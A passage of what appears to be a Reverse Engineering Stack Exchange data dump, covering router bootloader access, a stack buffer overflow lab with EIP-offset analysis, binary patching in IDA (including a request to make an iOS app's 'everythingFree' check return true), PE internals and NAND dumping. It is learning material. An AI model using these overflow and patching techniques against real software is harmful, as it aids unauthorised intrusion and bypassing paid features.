32 bytes.\nWriting ErrCtl register=00008001\nReadback ErrCtl register=00008001\nMemory: 115720k/131072k available (4558k kernel code, 15352k reserved, 1583k data, 7568k init, 0k highmem)\nHierarchical RCU implementation.\n    Verbose stalled-CPUs detection is disabled.\nNR_IRQS:128\nTrying to install interrupt handler for IRQ24\nTrying to install interrupt handler for IRQ25\nTrying to install interrupt handler for IRQ22\nTrying to install interrupt handler for IRQ9\nTrying to install interrupt handler for IRQ10\nTrying to install interrupt handler for IRQ11\nTrying to install interrupt handler for IRQ12\nTrying to install interrupt handler for IRQ13\nTrying to install interrupt handler for IRQ14\nTrying to install interrupt handler for IRQ16\nTrying to install interrupt handler for IRQ17\nTrying to install interrupt handler for IRQ18\nTrying to install interrupt handler for IRQ19\nTrying to install interrupt handler for IRQ20\nTrying to install interrupt handler for IRQ21\nTrying to install interrupt handler for IRQ23\nTrying to install interrupt handler for IRQ26\nTrying to install interrupt handler for IRQ27\nTrying to install interrupt handler for IRQ28\nTrying to install interrupt handler for IRQ15\nTrying to install interrupt handler for IRQ8\nTrying to install interrupt handler for IRQ29\nTrying to install interrupt handler for IRQ30\nTrying to install interrupt handler for IRQ31\nconsole [ttyS1] enabled\nCalibrating delay loop... 577.53 BogoMIPS (lpj=1155072)\npid_max: default: 32768 minimum: 301\nMount-cache hash table entries: 512\nlaunch: starting cpu1\nlaunch: cpu1 gone!\nCPU revision is: 0001992f (MIPS 1004Kc)\nPrimary instruction cache 32kB, VIPT, , 4-waylinesize 32 bytes.\nPrimary data cache 32kB, 4-way, PIPT, no aliases, linesize 32 bytes\nMIPS secondary cache 256kB, 8-way, linesize 32 bytes.\nlaunch: starting cpu2\nlaunch: cpu2 gone!\nCPU revision is: 0001992f (MIPS 1004Kc)\nPrimary instruction cache 32kB, VIPT, , 4-waylinesize 32 bytes.\nPrimary data cache 32kB, 4-way, PIPT, no aliases, linesize 32 bytes\nMIPS secondary cache 256kB, 8-way, linesize 32 bytes.\nlaunch: starting cpu3\nlaunch: cpu3 gone!\nCPU revision is: 0001992f (MIPS 1004Kc)\nPrimary instruction cache 32kB, VIPT, , 4-waylinesize 32 bytes.\nPrimary data cache 32kB, 4-way, PIPT, no aliases, linesize 32 bytes\nMIPS secondary cache 256kB, 8-way, linesize 32 bytes.\nBrought up 4 CPUs\nSynchronize counters across 4 CPUs: done.\nNET: Registered protocol family 16\nrelease PCIe RST: RALINK_RSTCTRL = 7000000\nPCIE PHY initialize\n***** Xtal 40MHz *****\nstart MT7621 PCIe register access\nRALINK_RSTCTRL = 7000000\nRALINK_CLKCFG1 = 77ffeff8\n\n*************** MT7621 PCIe RC mode *************\nPCIE0 no card, disable it(RST&amp;CLK)\nPCIE1 no card, disable it(RST&amp;CLK)\nPCIE2 no card, disable it(RST&amp;CLK)\npcie_link status = 0x0\nRALINK_RSTCTRL= 0\nbio: create slab &lt;bio-0&gt; at 0\nvgaarb: loaded\nSCSI subsystem initialized\nusbcore: registered new interface driver usbfs\nusbcore: registered new interface driver hub\nusbcore: registered new device driver usb\nSwitching to clocksource Ralink Systick timer\nusbcore: registered new interface driver huawei_ether\nNET: Registered protocol family 2\nIP route cache hash table entries: 1024 (order: 0, 4096 bytes)\nTCP established hash table entries: 4096 (order: 3, 32768 bytes)\nTCP bind hash table entries: 4096 (order: 3, 32768 bytes)\nTCP: Hash tables configured (established 4096 bind 4096)\nTCP reno registered\nUDP hash table entries: 128 (order: 0, 4096 bytes)\nUDP-Lite hash table entries: 128 (order: 0, 4096 bytes)\nNET: Registered protocol family 1\ncu: Got hangup signal\nConnected.\nConnected.\n\nDisconnected.\n</code></pre>\n\n<p>Do I stop boot at a certain point, by pointing a voltage or ground to the pins of the flash memory? Soldering the flash memory off the board is also an option but way too extreme for me to attempt this early on. </p>\n\n<p>Any and all help is appreciated.</p>\n",
        "Title": "router: how to break into boot?",
        "Tags": "|firmware|memory|hardware|",
        "Answer": "<p>I hope you could already solve your problem. \nJust in case that you are still struggling I want to share my ideas with you.</p>\n\n<p>I just want to point out that I am not 100% sure.</p>\n\n<p>As Gogeta70 already said you can connect directly to your flash chip's I/O pins. The Bus Pirate is a good option to do so since it's not so expensive and it seems that you're lucky. You already found out that your flash is the MX25L25635EF from Macronix. You can check out on the flashrom webpage that this device is part of the supported devices list.\n<a href=\"https://flashrom.org/Supported_hardware\" rel=\"nofollow noreferrer\">https://flashrom.org/Supported_hardware</a></p>\n\n<p>However if you decide to go for that you have to keep in mind that it is possible to get a few problems if you don't desolder it. I just wanted to point this out so that you don't get frustrated if you connect it while it is still soldered to the board and you don't reveive the result that you want. On flashroms webpage there is a troubleshooting section for such a case. If nothing else works you can still try to desolder the flash from the board. \n<a href=\"https://flashrom.org/ISP\" rel=\"nofollow noreferrer\">https://flashrom.org/ISP</a></p>\n\n<p>There is an other thing that you can try to do. I did this with a NAND flash that I worked with a month ago to get access to the busybox. You will still need access to your flash for that because you have to access the Chip Select Pin. I would only recommend doing this if you can afford to destroy the device.</p>\n\n<p>I think the interesting part is where he asks you to choose an option. Right after this the bootloader starts to boot the system via flash.</p>\n\n<pre><code>    Please choose the operation: \n\n   1: Load system code to SDRAM via TFTP. \n\n   2: Load system code then write to Flash via TFTP. \n\n   3: Boot system code via Flash (default).\n\n   4: Entr boot command line interface.\n\n   7: Load Boot Loader code then write to Flash via Serial. \n\n   9: Load Boot Loader code then write to Flash via TFTP. \n\n 4  3  2  1  0 \n\n\n\n3: System Boot system code via Flash[1st image].\n\n## Booting image at bc050000 ...\n</code></pre>\n\n<p>I would try to pull CS towards GND right before the counter hits zero. In my case I had a counter like yours and at the end the bootloader started to boot from the flash. When I pulled CS towards ground he couldn't access the flash anymore and I got directly into busybox console where I could explore the file system. </p>\n"
    },
    {
        "Id": "21995",
        "CreationDate": "2019-08-28T19:05:00.153",
        "Body": "<p>I am doing a simple buffer overflow exercise, here is the source:</p>\n\n\n\n<pre><code>//vuln.c\n#include &lt;stdio.h&gt;\n#include &lt;string.h&gt;\n\nint main(int argc, char* argv[]) {\n    char buf[256];\n    strcpy(buf,argv[1]);\n    printf(\"Input:%s\\n\",buf);\n    return 0;\n}\n</code></pre>\n\n<p>Complied with <code>gcc (Ubuntu 5.4.0-6ubuntu1~16.04.11) 5.4.0 20160609</code> on Ubuntu 16.04.6 (i686) like this (ASLR disabled):</p>\n\n<pre><code>$ gcc -g -fno-stack-protector -z execstack -o vuln vuln.c\n</code></pre>\n\n<p>The gdb disassembly:</p>\n\n\n\n<pre><code>Dump of assembler code for function main:\n   0x0804843b &lt;+0&gt;:     lea    ecx,[esp+0x4]\n   0x0804843f &lt;+4&gt;:     and    esp,0xfffffff0\n   0x08048442 &lt;+7&gt;:     push   DWORD PTR [ecx-0x4]\n   0x08048445 &lt;+10&gt;:    push   ebp\n   0x08048446 &lt;+11&gt;:    mov    ebp,esp\n   0x08048448 &lt;+13&gt;:    push   ecx\n   0x08048449 &lt;+14&gt;:    sub    esp,0x104\n   0x0804844f &lt;+20&gt;:    mov    eax,ecx\n   0x08048451 &lt;+22&gt;:    mov    eax,DWORD PTR [eax+0x4]\n   0x08048454 &lt;+25&gt;:    add    eax,0x4\n   0x08048457 &lt;+28&gt;:    mov    eax,DWORD PTR [eax]\n   0x08048459 &lt;+30&gt;:    sub    esp,0x8\n   0x0804845c &lt;+33&gt;:    push   eax\n   0x0804845d &lt;+34&gt;:    lea    eax,[ebp-0x108]\n   0x08048463 &lt;+40&gt;:    push   eax\n   0x08048464 &lt;+41&gt;:    call   0x8048310 &lt;strcpy@plt&gt;\n   0x08048469 &lt;+46&gt;:    add    esp,0x10\n   0x0804846c &lt;+49&gt;:    sub    esp,0x8\n   0x0804846f &lt;+52&gt;:    lea    eax,[ebp-0x108]\n   0x08048475 &lt;+58&gt;:    push   eax\n   0x08048476 &lt;+59&gt;:    push   0x8048510\n   0x0804847b &lt;+64&gt;:    call   0x8048300 &lt;printf@plt&gt;\n   0x08048480 &lt;+69&gt;:    add    esp,0x10\n   0x08048483 &lt;+72&gt;:    mov    eax,0x0\n   0x08048488 &lt;+77&gt;:    mov    ecx,DWORD PTR [ebp-0x4]\n   0x0804848b &lt;+80&gt;:    leave\n   0x0804848c &lt;+81&gt;:    lea    esp,[ecx-0x4]\n   0x0804848f &lt;+84&gt;:    ret\nEnd of assembler dump.\n</code></pre>\n\n<p>When I am overwriting the EIP with:</p>\n\n<pre><code>aaaabbbbccccddddeeeeffffgggghhhhiiiijjjjkkkkllllmmmmnnnnooooppppqqqqrrrrssssttttuuuuvvvvwwwwxxxxyyyyzzzzAAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ1111111111111111111111111111111111111111111111111111\n</code></pre>\n\n<p>It gives me <code>EIP: 0x5a5a5a5a ('ZZZZ')</code>, meaning that the offset for return address is 208. So how could that be when 256 byte buffer is allocated? How would main() stack layout look like? I thought it should be something like this:</p>\n\n<pre><code>|  argc\n|  argv\n|  Return address\n|  Caller's EBP       &lt;-- EBP\n|  Alignment\n|  Local variables    &lt;-- buf ends here\n|  ...\n|  Local variables    &lt;-- buf starts here\n|  ...\n|  ...\n|  ...                &lt;-- ESP\nV\nLower addresses\n</code></pre>\n\n<p>And also I quite confused why I cannot control EIP when the length of the argument string is bigger than 260. Here is what I mean.</p>\n\n<p>This is the result of running <code>gdb-peda$ r `python -c 'print \"A\"*260'`</code></p>\n\n<p><a href=\"https://i.stack.imgur.com/xox0w.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/xox0w.png\" alt=\"sct-1\"></a></p>\n\n<p>This is the result of running <code>gdb-peda$ r `python -c 'print \"A\"*261'`</code></p>\n\n<p><a href=\"https://i.stack.imgur.com/v7Gzx.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/v7Gzx.png\" alt=\"sct-2\"></a></p>\n\n<p>And this is the result of running <code>gdb-peda$ r `python -c 'print \"A\"*262'`</code></p>\n\n<p><a href=\"https://i.stack.imgur.com/dGipk.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/dGipk.png\" alt=\"enter image description here\"></a></p>\n\n<p>Help is much appreciated. Thanks!</p>\n",
        "Title": "Why EIP is being overwritten before local buffer ends?",
        "Tags": "|disassembly|gdb|buffer-overflow|stack|",
        "Answer": "<p>The <code>esp</code> value at the end of the function is computed based on the <code>ecx</code> value stored on the stack. This value is stored immediately \"above\" (has higher address) the buffer which in your case has <code>260</code> bytes instead of <code>256</code> (notice <code>sub esp, 0x104</code> - the reason behind this is to keep the stack aligned to <code>16</code> bytes before each function call). So why does providing <code>260</code> bytes causes segmentation fault at all?</p>\n\n<p><strong>Because you are providing <code>261</code> bytes</strong> since there is one extra <code>NULL</code> byte at the end of each string in C! So what happens, is that <strong>you are actually overwriting the least significant byte of <code>ecx</code> value stored on the stack</strong>. You set it as <code>0x00</code>, so it most likely decreases its value. At the end of the function, <code>esp</code> gets the value <code>ecx-0x4=previous_ecx/256-4</code> instead of <code>previous_ecx-4</code>, so <code>ret</code> will set <code>eip</code> according to that value. As you see, <code>esp</code> has most likely decresed, so that now it points to \"ZZZZ\" inside the buffer. The image below shows the stack layout of the program:\n<a href=\"https://i.stack.imgur.com/SgaG1.jpg\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/SgaG1.jpg\" alt=\"stackLayout\"></a></p>\n\n<p>When you put only \"A\"'s, exactly the same thing happens. The situation slightly changes when you put more \"A\"'s, but just look at the <code>ecx</code> value shown by <code>gdb</code>: it gets more <code>0x41</code>'s at the end and the <code>NULL</code> byte before, causing <code>esp</code> to be changed to more random values.</p>\n"
    },
    {
        "Id": "21996",
        "CreationDate": "2019-08-29T02:50:26.213",
        "Body": "<p>Is IDA the best disassembler for a raw Tricore TC1791 (or similar) binary? I see there are several others floating around.</p>\n\n<p>Which programs are going to give us the most complete ASM from a raw binary? We can get mostly what we need, but if there are better tools I will give them a go.</p>\n",
        "Title": "Generating disassembly from raw Infineon Tricore 1971 binary",
        "Tags": "|ida|disassembly|assembly|",
        "Answer": "<p>Ghidra (NSA open source tool) is an excellent competitor to IDA. It is free and open source as well. I highly recommend it. The current dev branch has TC17xx and TC-29x support.</p>\n\n<p><a href=\"https://github.com/NationalSecurityAgency/ghidra\" rel=\"nofollow noreferrer\">https://github.com/NationalSecurityAgency/ghidra</a></p>\n\n<p>Guide to build it is here:\n<a href=\"https://github.com/NationalSecurityAgency/ghidra/blob/master/DevGuide.md\" rel=\"nofollow noreferrer\">https://github.com/NationalSecurityAgency/ghidra/blob/master/DevGuide.md</a></p>\n"
    },
    {
        "Id": "22013",
        "CreationDate": "2019-08-31T21:32:45.100",
        "Body": "<p><a href=\"https://docs.microsoft.com/en-us/windows/win32/api/imagehlp/nf-imagehlp-bindimageex\" rel=\"nofollow noreferrer\">Docs</a>.\nIf I understand this correctly, this function pre-computes virtual addresses of imported DLLs and writes them to the IAT of an image (provided that <code>BIND_NO_UPDATE</code> is not set as parameter). My understanding is that you do this to an image (on file) to make it start faster.</p>\n\n<ul>\n<li>How does the windows loader know that the image has already been bound (and that it does not need to compute virtual addresses)?</li>\n<li>In the <a href=\"https://docs.microsoft.com/en-us/windows/win32/debug/pe-format#dll-characteristics\" rel=\"nofollow noreferrer\">DllCharacteristics</a> in a PE file (in the optional header), there is a flag called <code>NO_BIND</code>. Does <code>BindImageEx</code> fail if this is set?</li>\n<li>What is the difference between <code>BIND_NO_BOUND_IMPORTS</code> and <code>BIND_NO_UPDATE</code> if the only updating it does is to the IAT?</li>\n</ul>\n",
        "Title": "What does BindImageEx actually do?",
        "Tags": "|windows|pe|",
        "Answer": "<p>Windows Loader Knows the import is bound because bind process also writes a timestamp of the bounded module    </p>\n\n<p>suppose x.exe is bound to y.dll<br>\ny.dll has a TimeDateStamp in it peheader<br>\nwhen bound it writes the TimeDateStamp of y.dll in the<br>\n<strong>_IMAGE_BOUND_IMPORT_DESCRIPTOR</strong>   </p>\n\n<pre><code>0:000&gt; dt ole32!_IMAGE_BOUND_IMPORT_DESCRIPTOR\n   +0x000 TimeDateStamp    : Uint4B\n   +0x004 OffsetModuleName : Uint2B\n   +0x006 NumberOfModuleForwarderRefs : Uint2B\n0:000&gt;\n</code></pre>\n\n<p>The Api in Question has a callback StatusRoutine that will be called during the Binding Process<br>\nwhen you Pass noupdate the call back will still be called<br>\nyou can do some inspection and may be take actions there but leave the exe un affected</p>\n\n<p>BIND_NO_BOUND_IMPORTS  does not write a new ImportTable </p>\n\n<p><a href=\"https://docs.microsoft.com/en-us/windows/win32/api/imagehlp/nf-imagehlp-bindimageex\" rel=\"nofollow noreferrer\">Quoting From Docs</a> </p>\n\n<blockquote>\n  <p>BIND_NO_BOUND_IMPORTS 0x00000001</p>\n  \n  <p>Do not generate a new import address table.</p>\n  \n  <p>BIND_NO_UPDATE 0x00000002</p>\n  \n  <p>Do not make changes to the file.</p>\n</blockquote>\n"
    },
    {
        "Id": "22016",
        "CreationDate": "2019-09-01T14:07:48.630",
        "Body": "<p>SizeOfHeapReserve and SizeOfHeapCommit are in the optional header of windows executables. They are set to 0x100000 and 0x1000 respectively in most executables (my firefox has 0x40000 as reserve for example). The <a href=\"https://docs.microsoft.com/en-us/windows/win32/debug/pe-format#optional-header-windows-specific-fields-image-only\" rel=\"nofollow noreferrer\">docs</a> just say it is \"The size of the local heap space to reserve/commit\". </p>\n\n<ul>\n<li>How do executables ever get a pointer to this reserved heap space? I thought they always needed to call <code>HeapAlloc</code> / <code>VirtualAlloc</code> to get heap space?</li>\n<li>How do linkers decide what to set these values to?</li>\n</ul>\n",
        "Title": "PE Header: What do SizeOfHeapCommit and SizeOfHeapReserve do?",
        "Tags": "|windows|pe|",
        "Answer": "<p>Size Of Heap by Default is 1MB Reserve and 1KB commit   </p>\n\n<p>these can be changed by using linker option <strong>/HEAP:&lt;reserve&gt;,commit</strong>   </p>\n\n<p>During Initialization of Process system/loader/os  Creates a Process Heap for Each Process </p>\n\n<p>Changing the SizeOfHeapCommit and Reserve Changes the Size of this ProcessHeap </p>\n\n<p>the Address Heap Thus Allocated During Process Creation is Available to the Process in \n<strong>Process Environment Block or peb</strong></p>\n\n<pre><code>0:000&gt; dt ntdll!_PEB @$peb -y ProcessH\n\n   +0x018 ProcessHeap : 0x004e0000 Void\n   +0x090 ProcessHeaps : 0x76fb7500  -&gt; 0x004e0000 Void\n\n0:000&gt; !heap -stat 4e0000\n_HEAP 004e0000\n     Segments            00000001\n         Reserved  bytes 00a00000  &lt;&lt;&lt;&lt;&lt;&lt;\n         Committed bytes 00a00000  &lt;&lt;&lt;&lt;&lt;&lt;\n                           exe was compiled with /link /HEAP:10485760,10485760\n     VirtAllocBlocks     00000000\n         VirtAlloc bytes 00000000\n_HEAP 00020000\n     Segments            00000001\n         Reserved  bytes 00010000\n         Committed bytes 00001000\n     VirtAllocBlocks     00000000\n         VirtAlloc bytes 00000000\n\n0:000&gt; .shell -ci \"!dh ten\" grep -i \"size of heap\"\n\n00a00000 size of heap reserve\n00a00000 size of heap commit\n.shell: Process exited\n0:000&gt;\n</code></pre>\n"
    },
    {
        "Id": "22026",
        "CreationDate": "2019-09-02T04:00:30.013",
        "Body": "<p>I dont understand how people are finding offsets, So I want to know if there's a simple and easy method of just &quot;patching values&quot;</p>\n<p>I've been surfing the internet looking for VERY in depth tutorials on editing Assembly for ios apps, but it seems that either the tutorials are too difficult and vague, or are broken and old.</p>\n<p>for example, how can I patch this function so it returns true rather than false:</p>\n<pre><code>; bool __cdecl -[ScrollingListTradePortal everythingFree](ScrollingListTradePortal *self, SEL)\n__ScrollingListTradePortal_everythingFree_\nADRP            X8, #_OBJC_IVAR_$_ScrollingListTradePortal.everythingFree@PAGE ; bool everythingFree;\nLDRSW           X8, [X8,#_OBJC_IVAR_$_ScrollingListTradePortal.everythingFree@PAGEOFF] ; bool everythingFree;\nLDRB            W8, [X0,X8]\nAND             W0, W8, #1\nRET\n; End of function -[ScrollingListTradePortal everythingFree]\n</code></pre>\n",
        "Title": "Using IDA Pro, How can I just \"edit\" values, Rather than patching Offsets,",
        "Tags": "|ida|assembly|ios|",
        "Answer": "<p>Open the binary in IDA View (assembly view). Place the cursor in the line that you want to patch. Click Edit in menu bar > Patch Program > Change bytes.</p>\n\n<p><a href=\"https://i.stack.imgur.com/BMKXT.png\" rel=\"noreferrer\"><img src=\"https://i.stack.imgur.com/BMKXT.png\" alt=\"edit-patch-program-option\"></a></p>\n\n<p>Switch to \"Hex View\". Match the assembly mnemonic with the HEX value. This vary with every instruction. For example, <code>cmp [rbp-4], 4</code> (in X86_64) is shows as <code>83 7D FC 04</code>.</p>\n\n<p>Press <kbd>F2</kbd> to edit in hex view. Edit the value. Press <kbd>F2</kbd> another time to apply the change. Check the IDA view to review the change. Now go to Edit > Patch Program > Apply patches to input file.</p>\n\n<p><a href=\"https://i.stack.imgur.com/FY4S1.png\" rel=\"noreferrer\"><img src=\"https://i.stack.imgur.com/FY4S1.png\" alt=\"apply-patches-to-input-file\"></a></p>\n\n<p>You can also choose to create a backup.</p>\n\n<p>Similar question: <a href=\"https://stackoverflow.com/q/969901/8928481\">StackOverflow: Edit (patch) a binary file in IDA Pro\nAsk</a></p>\n"
    },
    {
        "Id": "22032",
        "CreationDate": "2019-09-03T10:09:01.910",
        "Body": "<p>In Android shared library that heavily protected against debugging, I found following code:</p>\n\n<pre><code>CODE32\nldr pc, [pc, #-4]\n</code></pre>\n\n<p>For me, this instruction looks like <code>NOP</code>; it just jumps to next instruction in ARM mode. The debugged process crashes on this command, however. I use <code>IDA</code> to debug the process.</p>\n\n<p>Can anyone explain why?</p>\n",
        "Title": "Why does this command crash IDA Android native debugger?",
        "Tags": "|ida|android|arm|",
        "Answer": "<p>This instruction is <strong>not</strong> a NOP. It reads memory and jumps to the address loaded. If the memory is inaccessible or the loaded address is invalid/non-executable, you will get an exception, so the debugger's behavior is correct.</p>\n\n<p>a NOP-like instruction involving PC in ARM mode would be something like</p>\n\n<pre><code>ADD PC, PC, #-4\n</code></pre>\n\n<p>(likely disassembled as <code>sub pc, pc, #4</code> or maybe even <code>ADR PC, next_addr</code> )</p>\n"
    },
    {
        "Id": "22035",
        "CreationDate": "2019-09-04T05:58:29.697",
        "Body": "<p>I've been tinkering with Fallout New Vegas, and have focused on modifying a very simple record that's hardcoded in the game engine. It's called an Imagespace Modifier, which is a very basic shader that can only have a select number of variables adjusted. It can be modified in the editor, but cannot be stopped from being applied to the screen. So even with it's values set to zero, it's still being calculated by the game.</p>\n\n<p>So I decided to try and find the hardcoded function that calls the imagespace modifier. I think I've got it, but I've hit a problem. It uses a JNZ to determine whether or not to process the record, which is a two byte opcode instruction (0F 85). But JMP Near is a single opcode instruction (E9). So I can't just simply patch that word in memory and always skip past the code calling the imagespace modifier.</p>\n\n<p>What would I need to do in order to fix that, and use JMP instead of JNZ? Note, the framework I'm using to modify the process at runtime uses C++, so it needs to be doable in that language.</p>\n\n<p>Screenshot: <a href=\"https://i.stack.imgur.com/T9xw4.png\" rel=\"nofollow noreferrer\">https://i.stack.imgur.com/T9xw4.png</a></p>\n",
        "Title": "Patching JNZ (two byte opcode) into JMP near (one byte opcode)?",
        "Tags": "|ida|c++|function-hooking|",
        "Answer": "<p>0f 85 takes a dword or rel32 or 4 bytes in 32 and 64 bit mode</p>\n\n<p>and two bytes or rel16 in 16 bit mode</p>\n\n<p>I assume 32 /64 bit because  (hex view in your screen shot has a selection of 6 bytes highlighted )</p>\n\n<p>0f 85 b5 00 00 00  </p>\n\n<p>to jmp with e9 </p>\n\n<p>change <strong>0f 85 b5 00 00 00</strong>  to <strong>e9 b6 00 00 00 90</strong></p>\n\n<pre><code>0:000&gt; eb .\n00007ffc`01d82dbc cc 0f \n00007ffc`01d82dbd eb 85\n00007ffc`01d82dbe 00 b5\n00007ffc`01d82dbf 48 00\n00007ffc`01d82dc0 83 00\n00007ffc`01d82dc1 c4 00\n00007ffc`01d82dc2 38\n0:000&gt; u . l1\nntdll!LdrpDoDebuggerBreak+0x30:\n00007ffc`01d82dbc 0f85b5000000    jne     ntdll!LdrpGetProcApphelpCheckModule+0xab (00007ffc`01d82e77)\n0:000&gt; eb .\n00007ffc`01d82dbc 0f e9\n00007ffc`01d82dbd 85 b6\n00007ffc`01d82dbe b5 00\n00007ffc`01d82dbf 00 00\n00007ffc`01d82dc0 00 00\n00007ffc`01d82dc1 00\n0:000&gt; u . l1\nntdll!LdrpDoDebuggerBreak+0x30:\n00007ffc`01d82dbc e9b6000000      jmp     ntdll!LdrpGetProcApphelpCheckModule+0xab (00007ffc`01d82e77)\n0:000&gt;\n</code></pre>\n\n<p>or as igorsk edited in nop the first byte and modify the second and third byte</p>\n\n<pre><code>0:000&gt; eb .\n00007ffc`01d82dbc e9 90\n00007ffc`01d82dbd b6 e9\n00007ffc`01d82dbe 00 b5\n00007ffc`01d82dbf 00 00\n00007ffc`01d82dc0 00 00\n00007ffc`01d82dc1 00 00\n00007ffc`01d82dc2 38\n0:000&gt; u . l2\nntdll!LdrpDoDebuggerBreak+0x30:\n00007ffc`01d82dbc 90              nop\n00007ffc`01d82dbd e9b5000000      jmp     ntdll!LdrpGetProcApphelpCheckModule+0xab (00007ffc`01d82e77)\n0:000&gt;\n</code></pre>\n\n<p>for an unconditional jump the byte immediately to the patched instructions do not matter if the patched bytes are less.    </p>\n\n<p>but for other instructions which will fall through to the next instruction the instruction boundaries do matter </p>\n\n<p>suppose you patched add to sub and sub is one byte less.<br>\nso after executing sub which is one byte lesser the next instruction will start executing on the bogus rogue byte.<br>\nthis is not what was intended. \nwe need to execute the byte which was the originally supposed to be executed and we cant fly in mid air.<br>\nwe need to also execute the dummy rogue byte </p>\n\n<p>so we change it to a one byte no operation instruction.</p>\n\n<p>execute sub as well as nop and then we get to execute the actual original next instruction.</p>\n\n<p>that is why the nop it may look silly here for this specific instruction but it is a good habit to patch all the bytes within instruction boundaries. </p>\n\n<p>there are single byte nop as well as multibyte nops or instructions like \nmov eax,eax  which do not alter the state but provide space fillers.</p>\n\n<p>btw when you read the instruction manuals   rel32 is always a counter it is counted from the start of next instruction \na simple jump eb 00 at address 0x1000 jumps to 0x1002 because eb 00 is two bytes \nadding 2 to 0x1000 will make the next $ip 0x1002 \nso eb 01->0x1003 , eb 02 -> 0x1004 and so on  </p>\n"
    },
    {
        "Id": "22043",
        "CreationDate": "2019-09-05T06:35:16.973",
        "Body": "<p>I am currently trying to dump the content of a NAND Flash that is part of an embedded system. </p>\n\n<p>The chip is a QCA4531 and the NAND Flash is a GD5F1GQ4RCYIG. The module consists of 28 Pins, 14 per side. The NAND Flash has 8 contacts, 4 per side.</p>\n\n<p>I am pretty new to this but I already did some reasearch work and I think I am not that far away anymore but the \"last\" step is giving me some headaches.</p>\n\n<p>I am a little bit limited because I can't desolder the NAND Flash so I try to get access to its content while it's still assembled. </p>\n\n<p>My idea was getting the Bus Pirate v4, connecting it to the NAND Flash and reading out the content via flashrom. I knew that flashrom has some problems with the Bus Pirate when it is used in a Virtual Machine from the DangerousPrototypes Forum but I tried it anyways and as expected it doesn't really work. So I tried to get a Windows version of flashrom. Unfortunately it's a pretty old one but I wanted to see what happens when I try to read out the Flash and I got the following output:</p>\n\n<p>Found Chip \"Generic unknown SPI chip (RDID)\" (0 KB, SPI) at physical address 0x0.\nThis flash part has status NOT WORKING for operations: PROBE READ ERASE WRITE</p>\n\n<p>I am a little bit confused right now, is there any other tool that I can use to read out the Flash or what can I do to access the content?</p>\n\n<p>Btw since the Flash is still soldered to the embedded system is it important to hold the system in reset? I read something about that but I didn't want to do that before understanding why this could be an issue.</p>\n",
        "Title": "Dumping a NAND Flash",
        "Tags": "|hardware|flash|firmware-analysis|",
        "Answer": "<p>It seems you have an SPI NAND chip and not a more common SPI NOR on which flashrom specializes. The support for SPI NAND in flashrom is <a href=\"https://github.com/flashrom/flashrom/pull/62\" rel=\"nofollow noreferrer\">pretty new</a>, covers only Toshiba and Micron for now and is not even merged in the master branch yet, so it's very unlikely your build even has it. You can try to either add support for GigaDevice on your own (e.g. from the datasheet or <a href=\"https://patchwork.ozlabs.org/patch/493667/\" rel=\"nofollow noreferrer\">this OpenWrt patch</a>) or contact flashrom <a href=\"https://flashrom.org/Mailinglist\" rel=\"nofollow noreferrer\">mailing list</a> or <a href=\"https://flashrom.org/IRC\" rel=\"nofollow noreferrer\">IRC channel</a> to confirm if there are plans to support GigaDevice NAND parts and get help getting it work.</p>\n\n<p>For the common problems that may affect reading flash while it's on board, see <a href=\"https://flashrom.org/ISP\" rel=\"nofollow noreferrer\">https://flashrom.org/ISP</a></p>\n"
    },
    {
        "Id": "22047",
        "CreationDate": "2019-09-05T12:13:06.230",
        "Body": "<p>So i just compared NTterminateProcess between 32 and 64 bit version of a program, and the mov instruction which moves the syscall into eax is almost the same, both 5 byte, (both the B8 mov) but the only difference is that the last 2 byte in the 32 bit version is some random number which is not even used as the syscall number, for example opcode is  its B8 - 2C000700, but the 64 bit is  B8 - 2C000000, and that last part is not even used in the syscall number, the number in both of them is 2C, so whats the deal with that last 2-3 byte?</p>\n\n<p>EDIT : yes it is in fact Wow64 process </p>\n\n<p>EDIT 2 : heres the picture, as you can see some of them have something in the last 2 byte which is not part of syscall number, and for some reason only the ones that have their  Zw shown have them, why!? also the rest of them are Zw functions as well, for example the black one is ZwQuerySystemInformation, but i dont get why its name is not showing! ( does it have anything to do with the last bytes of mov not having a number?)</p>\n\n<p>(Picture taken in x32dbg)</p>\n\n<p><a href=\"https://i.stack.imgur.com/fM9S9.jpg\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/fM9S9.jpg\" alt=\"enter image description here\"></a></p>\n\n<p>EDIT3: </p>\n\n<pre><code>77C61FF0 | B8 36000000              | mov eax,36                                                                                     | 36:'6'\n77C61FF5 | BA 508CC777              | mov edx,ntdll.77C78C50                                                                         |\n77C61FFA | FFD2                     | call edx                                                                                       |\n77C61FFC | C2 1000                  | ret 10                                                                                         |\n77C61FFF | 90                       | nop                                                                                            |\n77C62000 | B8 37000000              | mov eax,37                                                                                     | 37:'7'\n77C62005 | BA 508CC777              | mov edx,ntdll.77C78C50                                                                         |\n77C6200A | FFD2                     | call edx                                                                                       |\n77C6200C | C2 0C00                  | ret C                                                                                          |\n77C6200F | 90                       | nop                                                                                            |\n77C62010 | B8 38000000              | mov eax,38                                                                                     | 38:'8'\n77C62015 | BA 508CC777              | mov edx,ntdll.77C78C50                                                                         |\n77C6201A | FFD2                     | call edx                                                                                       |\n77C6201C | C2 1400                  | ret 14                                                                                         |\n77C6201F | 90                       | nop                                                                                            |\n77C62020 | B8 39001B00              | mov eax,1B0039                                                                                 |\n77C62025 | BA 508CC777              | mov edx,ntdll.77C78C50                                                                         |\n77C6202A | FFD2                     | call edx                                                                                       |\n77C6202C | C2 2800                  | ret 28                                                                                         |\n77C6202F | 90                       | nop                                                                                            |\n77C62030 | B8 3A000000              | mov eax,3A                                                                                     | 3A:':'\n77C62035 | BA 508CC777              | mov edx,ntdll.77C78C50                                                                         |\n77C6203A | FFD2                     | call edx                                                                                       |\n77C6203C | C2 1400                  | ret 14                                                                                         |\n77C6203F | 90                       | nop                                                                                            |\n77C62040 | B8 3B000000              | mov eax,3B                                                                                     | 3B:';'\n77C62045 | BA 508CC777              | mov edx,ntdll.77C78C50                                                                         |\n77C6204A | FFD2                     | call edx                                                                                       |\n77C6204C | C2 0C00                  | ret C                                                                                          |\n77C6204F | 90                       | nop                                                                                            |\n77C62050 | B8 3C000000              | mov eax,3C                                                                                     | 3C:'&lt;'\n77C62055 | BA 